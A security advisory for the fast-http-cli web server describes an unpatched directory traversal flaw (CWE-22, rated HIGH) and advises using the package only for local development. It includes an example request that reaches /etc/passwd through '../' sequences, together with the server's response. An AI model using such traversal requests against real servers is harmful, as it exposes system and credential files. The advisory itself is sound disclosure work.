fast-http-cli
is the command line interface for fast-http
, a simple web server.
fast-http-cli
is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.
Example request:
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost
and server Response:
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked
{contents of /etc/passwd}
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
{ "nvd_published_at": null, "severity": "HIGH", "github_reviewed_at": "2020-06-16T21:28:25Z", "github_reviewed": true, "cwe_ids": [ "CWE-22" ] }